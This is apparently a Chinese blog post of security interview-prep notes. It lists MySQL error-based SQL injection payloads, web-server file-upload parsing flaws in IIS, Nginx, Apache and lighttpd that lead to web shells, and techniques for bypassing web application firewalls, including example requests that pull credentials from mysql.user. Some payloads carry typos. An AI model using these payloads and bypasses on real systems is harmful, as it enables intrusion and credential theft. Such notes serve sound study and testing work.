面经总结 taro Posted on Mar 17 2021 面经 ## 注入 ### 报错注入函数(10种) > 1.extractvalue and extractvalue(1, concat(0x7e,(select @@version),0x7e))-- 2.通过floor报错 向下取整 3.updatexml and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) 4.geometrycollection() select from test where id=1 and geometrycollection((select from(select from(select user())a)b)); 5.multipoint() select from test where id=1 and multipoint((select from(select from(select user())a)b)); 6.polygon() select from test where id=1 and polygon((select from(select from(select user())a)b)); 7.multipolygon() select from test where id=1 and multipolygon((select from(select from(select user())a)b)); 8.linestring()select from test where id=1 and linestring((select from(select from(select user())a)b)); 9.multilinestring() select from test where id=1 and multilinestring((select from(select from(select user())a)b)); 10.exp() select from test where id=1 and exp(~(select * from(select user())a)); ## 上传 ### 中间件解析漏洞 #### IIS ##### 6.0 ` /xx.asp/xx.jpg `"xx.asp"是文件夹名,会被当做asp来解析 `wooyun.asp;.jpg`会被解析为asp 可利用扩展名: - wooyun.asa - wooyun.cer - wooyun.cdx ##### 7.0/7.5 默认`Fast-CGI`开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析 #### Nginx ##### <0.8.32 1.jpg/1.php ##### >0.8.41<1.5.6 1.jpg%20.php #### Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀 #### lighttpd `xx.jpg/xx.php` 会当php来解析 #### Windows 在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell ## WAF绕过 1. 关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct。原理:网络层waf对SEL%E%CT进行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dll对SEL%E%CT进行url解码却变成select。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。 2. 通杀的,内联注释。安全狗不拦截,但是安全宝、加速乐、D盾等,看到/!/就Fack了,所以只限于安全狗。比如:/!select*/ 3. 编码。这个方法对waf很有效果,因为一般waf会解码,但是我们利用这个特点,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以这样bypass的。 4. 绕过策略一:伪造搜索引擎 早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎 5. 360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截 - GET /pen/news.php?id=1 union select user,password from mysql.user - GET /pen/news.php/admin?id=1 union select user,password from mysql.user - GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user 6. multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。 7. 参数绕过,复制参数,id=1&id=1 用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格 8. 内联注释, 文件上传,复制文件包一份再加一份在 form-data;后面增加一定的字符 搬运一篇注入绕过的姿势 [SQL注入绕过](https://security.yirendai.com/news/share/15) 代码审计 提权整理